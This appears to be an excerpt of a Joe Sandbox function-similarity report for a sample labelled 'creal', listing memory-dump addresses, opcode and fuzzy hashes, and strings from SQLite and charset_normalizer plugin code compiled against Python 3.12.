API called with finalized prepared statement, xrefs: 00007FF8E68C2CBA, 00007FF8E68C2D2E
%s at line %d of [%.10s], xrefs: 00007FF8E68C2CF3, 00007FF8E68C2D56
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68C2BB5, 00007FF8E68C2D3D
API called with NULL prepared statement, xrefs: 00007FF8E68C2CA4

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$misuse
API String ID: 3510742995-1033472603
Opcode ID: 7b722cfd9496cf848eb8c7dd1edf231b9bdadf7ca71f36eecefc7964867b2563
Instruction ID: 59ed07a2b9fc50c647f6cb4f4672717d85139554c15c131a2814e0c76dd5f3fb
Opcode Fuzzy Hash: 7b722cfd9496cf848eb8c7dd1edf231b9bdadf7ca71f36eecefc7964867b2563
Instruction Fuzzy Hash: 3CE18721B29B6695EAA8DFA5A86437933A0FF95BC4F144135CA4E077E6CF3CE4458303

Function 00007FF8E714F530 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON312(?,?,?,?,?,00007FF8E7148DEE), ref: 00007FF8E714F5CE
PyLong_FromSsize_t.PYTHON312(?,?,?,?,?,00007FF8E7148DEE), ref: 00007FF8E714F62B
PyObject_RichCompareBool.PYTHON312(?,?,?,?,?,00007FF8E7148DEE), ref: 00007FF8E714F642
_Py_Dealloc.PYTHON312(?,?,?,?,?,00007FF8E7148DEE), ref: 00007FF8E714F658
_Py_Dealloc.PYTHON312(?,?,?,?,?,00007FF8E7148DEE), ref: 00007FF8E714F66C

Strings

ratio, xrefs: 00007FF8E714F5E4

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$BoolCompareErr_FromLong_Object_OccurredRichSsize_t
String ID: ratio
API String ID: 2538524772-4234197119
Opcode ID: c6cb76a82c0156d83f652a4623d6809029c4d4441d1b486eb3f0817f7220173e
Instruction ID: d486d51017ad960180ee7250648dd4b0d2bdd5ace8c2b38314eee9a8fc0a4b23
Opcode Fuzzy Hash: c6cb76a82c0156d83f652a4623d6809029c4d4441d1b486eb3f0817f7220173e
Instruction Fuzzy Hash: 75418C32D08792C2E6249BA5E80537D63A5AF49BE5F0C0231DE7D567A5EF3CE4818742

Function 00007FF8E7146820 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7146842

Strings

'SuspiciousRange' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E71468AC
int, xrefs: 00007FF8E7146936
attribute '_character_count' of 'SuspiciousRange' undefined, xrefs: 00007FF8E7146838

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousRange' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuspiciousRange' undefined$int
API String ID: 1450464846-3882440367
Opcode ID: edf70cb319030b3d86d441b19e0745afc740f480ca4045dac8bdcfc512da58eb
Instruction ID: c6bb9082a5c29550de0c00d578cd2542ed7b3e9b38bef6b424fc82bc383077d6
Opcode Fuzzy Hash: edf70cb319030b3d86d441b19e0745afc740f480ca4045dac8bdcfc512da58eb
Instruction Fuzzy Hash: 56317E61F08742C1EA589BA5E8953BC23A0AF44BD8F584131DA7D477E9EE2CE4948702

Function 00007FF8E7147020 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147042

Strings

attribute '_word_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF8E7147038
int, xrefs: 00007FF8E7147136
'SuperWeirdWordPlugin' object attribute '_word_count' cannot be deleted, xrefs: 00007FF8E71470AC

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_word_count' cannot be deleted$attribute '_word_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-1212817586
Opcode ID: 16b82e3689da71a62fdb9f4fcb28de3a703054875de315429c3694e8e6cd4c3d
Instruction ID: f8d638e825f6feda4b1e73d30f5e9061ddd8ebe4eb073817c5a631aec7fcc056
Opcode Fuzzy Hash: 16b82e3689da71a62fdb9f4fcb28de3a703054875de315429c3694e8e6cd4c3d
Instruction Fuzzy Hash: 2831AE61F08742C1EE589BA9E8993BC23A0EF45BD4F585131DA3E477D5EE2CE484D702

Function 00007FF8E7147860 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147882

Strings

attribute '_buffer_accent_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF8E7147878
int, xrefs: 00007FF8E7147976
'SuperWeirdWordPlugin' object attribute '_buffer_accent_count' cannot be deleted, xrefs: 00007FF8E71478EC

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_buffer_accent_count' cannot be deleted$attribute '_buffer_accent_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-76466605
Opcode ID: 20ea869bad6b8ed73006467498f91221eb8f9dd8b91723df2faa57ca20f3ad29
Instruction ID: 745a1e3520f2455e7f7d672292a545d274b16008a711b390f57162b468ba94d8
Opcode Fuzzy Hash: 20ea869bad6b8ed73006467498f91221eb8f9dd8b91723df2faa57ca20f3ad29
Instruction Fuzzy Hash: 3B31AE71B08743C1EA589BA5E8953BD23A1EF84BE4F584131DA7E477D5EE2CE484C702

Function 00007FF8E7145870 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7145892

Strings

'TooManyAccentuatedPlugin' object attribute '_accentuated_count' cannot be deleted, xrefs: 00007FF8E71458FC
int, xrefs: 00007FF8E7145986
attribute '_accentuated_count' of 'TooManyAccentuatedPlugin' undefined, xrefs: 00007FF8E7145888

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'TooManyAccentuatedPlugin' object attribute '_accentuated_count' cannot be deleted$attribute '_accentuated_count' of 'TooManyAccentuatedPlugin' undefined$int
API String ID: 1450464846-3693778415
Opcode ID: 7f11271614b407e1cd5d041de6a849fa1ce6af29865a2d7861870a54299a5fe4
Instruction ID: 28ae93271a77c00624205ce6cc85acb82c876864513ad4595afa034ee80a4cf2
Opcode Fuzzy Hash: 7f11271614b407e1cd5d041de6a849fa1ce6af29865a2d7861870a54299a5fe4
Instruction Fuzzy Hash: B831A061F08743C2EA589BA5E89537C23A0AF44BE4F584131EA7E477E5EE2CE4849702

Function 00007FF8E7148470 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7148492

Strings

attribute '_successive_upper_lower_count' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FF8E7148488
int, xrefs: 00007FF8E7148586
'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count' cannot be deleted, xrefs: 00007FF8E71484FC

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count' cannot be deleted$attribute '_successive_upper_lower_count' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-634379450
Opcode ID: 3342e34050822ecdd092d2c1701ec675c9b80d10f8f017621af40ec443b25660
Instruction ID: 8fe8f84a0b659ec1e14122d1f681cae119eaf08f52d7342108a2ab38a67ff8e1
Opcode Fuzzy Hash: 3342e34050822ecdd092d2c1701ec675c9b80d10f8f017621af40ec443b25660
Instruction Fuzzy Hash: E9317E71F08742C5EB589BA9E4953BC23A0EF44BE4F585131DA3D4A7D5EE2CE4948702

Function 00007FF8E7147640 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147662

Strings

'SuperWeirdWordPlugin' object attribute '_bad_character_count' cannot be deleted, xrefs: 00007FF8E71476CC
int, xrefs: 00007FF8E7147756
attribute '_bad_character_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF8E7147658

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_bad_character_count' cannot be deleted$attribute '_bad_character_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-2709777744
Opcode ID: 610f13cc42156de412b3f6d1ccc7dde81ee8bb81fe19c5e5436d4dfc6cd023cb
Instruction ID: 9ccb20b50ce4c3742ec46914fb67d0e483f1fe5d25f347fd48969ba83d2f7ad5
Opcode Fuzzy Hash: 610f13cc42156de412b3f6d1ccc7dde81ee8bb81fe19c5e5436d4dfc6cd023cb
Instruction Fuzzy Hash: C1319C71B08742D2EA589BA9E4953BC23A1BF44BD4F984131DA3E477E4FE2CE4948702

Function 00007FF8E71472A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E71472C2

Strings

'SuperWeirdWordPlugin' object attribute '_foreign_long_count' cannot be deleted, xrefs: 00007FF8E714732C
int, xrefs: 00007FF8E71473B6
attribute '_foreign_long_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF8E71472B8

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_foreign_long_count' cannot be deleted$attribute '_foreign_long_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3135691889
Opcode ID: 35cb3d4f2bd9c4a5d37c2cde372bddb3ca93a0b263ca3f3a2d664a0bc4599930
Instruction ID: cb701b0dc4bbe3d2ba7dfb73736a6b4398430261471236dd0f6d7e598cc4397d
Opcode Fuzzy Hash: 35cb3d4f2bd9c4a5d37c2cde372bddb3ca93a0b263ca3f3a2d664a0bc4599930
Instruction Fuzzy Hash: 27318172F08B42C1EA589BA5E49537C23A1EF88BD4F584131DA7E477D5EE2CE484C702

Function 00007FF8E7148CA0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7148CC2

Strings

attribute '_isolated_form_count' of 'ArabicIsolatedFormPlugin' undefined, xrefs: 00007FF8E7148CB8
int, xrefs: 00007FF8E7148DB6
'ArabicIsolatedFormPlugin' object attribute '_isolated_form_count' cannot be deleted, xrefs: 00007FF8E7148D2C

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'ArabicIsolatedFormPlugin' object attribute '_isolated_form_count' cannot be deleted$attribute '_isolated_form_count' of 'ArabicIsolatedFormPlugin' undefined$int
API String ID: 1450464846-4047731557
Opcode ID: 1ec334efbc93af8a0daa537c9c947367f6496fe570f3d383ebc24800b9db443f
Instruction ID: 6e4a5469e3e9e49c768155005f6bd76862a4753d6791c33e81b28ee0691371cb
Opcode Fuzzy Hash: 1ec334efbc93af8a0daa537c9c947367f6496fe570f3d383ebc24800b9db443f
Instruction Fuzzy Hash: 89319071B19742C1EF589BA9E4953BC23A0BF54BD4F584131DA7E477E4EE2CE4848702

Function 00007FF8E7144EB0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7144ED2

Strings

'TooManySymbolOrPunctuationPlugin' object attribute '_punctuation_count' cannot be deleted, xrefs: 00007FF8E7144F3C
int, xrefs: 00007FF8E7144FC6
attribute '_punctuation_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FF8E7144EC8

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_punctuation_count' cannot be deleted$attribute '_punctuation_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-1459665959
Opcode ID: 524d028e614f50b41909a65e2b05ff1c14cbdfe08726ae935d08e3c758078267
Instruction ID: e4fde9b45425ac1073ddfcc91621c5fb6d8d28152cd2e4212c5a3e5f1b865ce6
Opcode Fuzzy Hash: 524d028e614f50b41909a65e2b05ff1c14cbdfe08726ae935d08e3c758078267
Instruction Fuzzy Hash: F1319E31F08742C1EA589BA9E4953BC63A2EF84BD4F584131DA3D467D5EE2CE486D702

Function 00007FF8E7147C80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7147CA2

Strings

int, xrefs: 00007FF8E7147D96
attribute '_cjk_character_count' of 'CjkInvalidStopPlugin' undefined, xrefs: 00007FF8E7147C98
'CjkInvalidStopPlugin' object attribute '_cjk_character_count' cannot be deleted, xrefs: 00007FF8E7147D0C

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'CjkInvalidStopPlugin' object attribute '_cjk_character_count' cannot be deleted$attribute '_cjk_character_count' of 'CjkInvalidStopPlugin' undefined$int
API String ID: 1450464846-399339277
Opcode ID: f2c272c237092df4c159db7bbb8ebb4d417ee1358fd08bf9141b406699d39ed6
Instruction ID: af688869a8576db61c84db8fb7ba1bfd37a65fea1abb77c0dfa0af51aeed4ec1
Opcode Fuzzy Hash: f2c272c237092df4c159db7bbb8ebb4d417ee1358fd08bf9141b406699d39ed6
Instruction Fuzzy Hash: C3318071F18B42C1EE589BA5E4953BC23A1EF84BD4F584131DA7E477E5EE2CE4848702

Function 00007FF8E7145C90 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7145CB2

Strings

'UnprintablePlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E7145D1C
attribute '_character_count' of 'UnprintablePlugin' undefined, xrefs: 00007FF8E7145CA8
int, xrefs: 00007FF8E7145DA6

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'UnprintablePlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'UnprintablePlugin' undefined$int
API String ID: 1450464846-2596148235
Opcode ID: 073f5d8d8577f69fc90c9a8fdde1e95b02313488756eee5ef187c2381a1a2916
Instruction ID: 0dda5a1b1de7fef0811a8b7b90b05432ff5ffff43823cf2e345df87f22b427c7
Opcode Fuzzy Hash: 073f5d8d8577f69fc90c9a8fdde1e95b02313488756eee5ef187c2381a1a2916
Instruction Fuzzy Hash: 6E31C171F08742C2EE589BA5E8993BC23A0EF44BD4F584130DA7E477E4EE2CE4849302

Function 00007FF8E71466E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7146702

Strings

'SuspiciousRange' object attribute '_suspicious_successive_range_count' cannot be deleted, xrefs: 00007FF8E714676C
int, xrefs: 00007FF8E71467F6
attribute '_suspicious_successive_range_count' of 'SuspiciousRange' undefined, xrefs: 00007FF8E71466F8

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousRange' object attribute '_suspicious_successive_range_count' cannot be deleted$attribute '_suspicious_successive_range_count' of 'SuspiciousRange' undefined$int
API String ID: 1450464846-916769388
Opcode ID: 32c8cc5da1c5a4c53662f2a02eb56b9d7fcea26900f0b6a46b27aacae368bd4d
Instruction ID: f6a5ebd291f57371973bffe6e189bd24ebd0ffb95046254a3071c4a87343dca1
Opcode Fuzzy Hash: 32c8cc5da1c5a4c53662f2a02eb56b9d7fcea26900f0b6a46b27aacae368bd4d
Instruction Fuzzy Hash: C7318E71B08742C1EE589BA9E4953BD23A0FF84BD9F584131DA3D467D9EE2CE885C702

Function 00007FF8E71486F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7148712

Strings

int, xrefs: 00007FF8E7148806
'ArchaicUpperLowerPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E714877C
attribute '_character_count' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FF8E7148708

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-4184598959
Opcode ID: 342a4cd3f7d259d24aeb9a776a1e708ee513c6b05d4146dbb2a3107d3dc6b54c
Instruction ID: 74a5f5fd76f9ae0da2d8fffb641dc901bc80bd4386effbd94bdfcc1ef5db707b
Opcode Fuzzy Hash: 342a4cd3f7d259d24aeb9a776a1e708ee513c6b05d4146dbb2a3107d3dc6b54c
Instruction Fuzzy Hash: 23319E21F08742C5EB489BA9E4A537C6390BF44BE4F585131DA3E467D5EE2CE4C4C702

Function 00007FF8E71462D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E71462F2

Strings

attribute '_character_count' of 'SuspiciousDuplicateAccentPlugin' undefined, xrefs: 00007FF8E71462E8
'SuspiciousDuplicateAccentPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E714635C
int, xrefs: 00007FF8E71463E6

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuspiciousDuplicateAccentPlugin' undefined$int
API String ID: 1450464846-543361526
Opcode ID: 1291b6d293bf1ed5ae64a56b00bf1b13860b617c90494c0dd0123d29bd04fbc4
Instruction ID: bc880aded92d43da184fb2f003b4ff373943a18068d4e5372473d1c504bdd559
Opcode Fuzzy Hash: 1291b6d293bf1ed5ae64a56b00bf1b13860b617c90494c0dd0123d29bd04fbc4
Instruction Fuzzy Hash: 7B31A371B08782C1EA589BA5E4953BC23B0EF44BD8F584131DA7E477E9FE2CE4948702

Function 00007FF8E7145130 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7145152

Strings

'TooManySymbolOrPunctuationPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF8E71451BC
int, xrefs: 00007FF8E7145246
attribute '_character_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FF8E7145148

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_String
